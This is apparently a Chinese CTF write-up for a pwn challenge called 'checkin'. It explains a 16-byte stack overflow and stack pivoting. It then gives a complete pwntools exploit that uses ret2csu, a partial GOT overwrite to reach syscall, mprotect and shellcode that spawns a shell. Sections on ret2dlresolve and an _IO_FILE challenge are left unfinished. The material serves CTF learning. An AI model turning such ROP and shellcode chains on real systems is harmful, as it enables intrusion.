今天摸进了 n03tAck 👦(师傅们都很强且很友好),抓紧复现一下近期的题,趁早赶上队人均水平ww。

checkin

经典签到没能签上。

分析

image-20220328172059184

题目各方面都很简洁,漏洞点就是这个 read 的时候溢出了 0x10 字节,恰好覆盖掉了 rbp 和 rip 。那么首先思路肯定是栈迁移,不然 0x10 👦 玩泥巴。

那么栈迁移后要干啥呢?正常的 rop 我没想到利用方式(毕竟可以利用的只有一个 read 函数)。于是我学了一天的 ret2dlresolve,果不其然没学会,跑路💨

事后看了一下师傅们的 wp ,发现还是有其他做法的。师傅们 tql 🙇

思路一 ret2csu read 部分覆写 got 表 syscall

已在 另一篇 简要说明,Exp 直接来8:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./checkin')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./checkin')
p = remote('node4.buuoj.cn',26596)
# debug()
bss_addr = 0x404500
leave_ret = 0x4011E2
read_addr = 0x4011BF
pop_rbp_ret = 0x40113D
ret2csu1=0x40124A
ret2csu2=0x401230
read_got = elf.got['read']
payload=flat(['A'*0xA0,bss_addr+0xa0,read_addr])
se(payload)

payload = p64(ret2csu1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(0x404700)
payload += p64(0x200)
payload += p64(read_got)
payload += p64(ret2csu2)
payload += p64(0) # add rsp,8
payload += p64(0)*6 # pop*6
payload += p64(pop_rbp_ret)
payload += p64(0x404700-8)
payload += p64(leave_ret)

payload = payload.ljust(0xA0,'\0') + p64(bss_addr - 0x8) + p64(leave_ret)
se(payload)

payload = p64(ret2csu1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(read_got - 8)
payload += p64(10)
payload += p64(read_got)
payload += p64(ret2csu2)
payload += p64(0) # add rsp,8

payload += p64(0)
payload += p64(1)
payload += p64(0x404000)
payload += p64(0x1000)
payload += p64(7)
payload += p64(read_got) # syscall
payload += p64(ret2csu2)
payload += p64(0) # add rsp,8
payload += p64(0)*6 # pop*6
payload += p64(0x404800)

payload = payload.ljust(0x100,'\0')
payload += asm(shellcraft.sh())

sl(payload)
# sleep(0.1)
# pause()
se('\x00'*8+'\x00'+'\x40')

p.interactive()

注意挑选一个合适的 syscall ,call 完还给你接一堆辣鸡才到 ret 的,明显就不能要好吧 💢

思路二 ret2dlresolve 伪造 linkmap

套都套不会,wssb👦。下次一定,补上。

Weeding_room

大概是一题_IO_FILE 的利用,我学完就回来填坑(💨)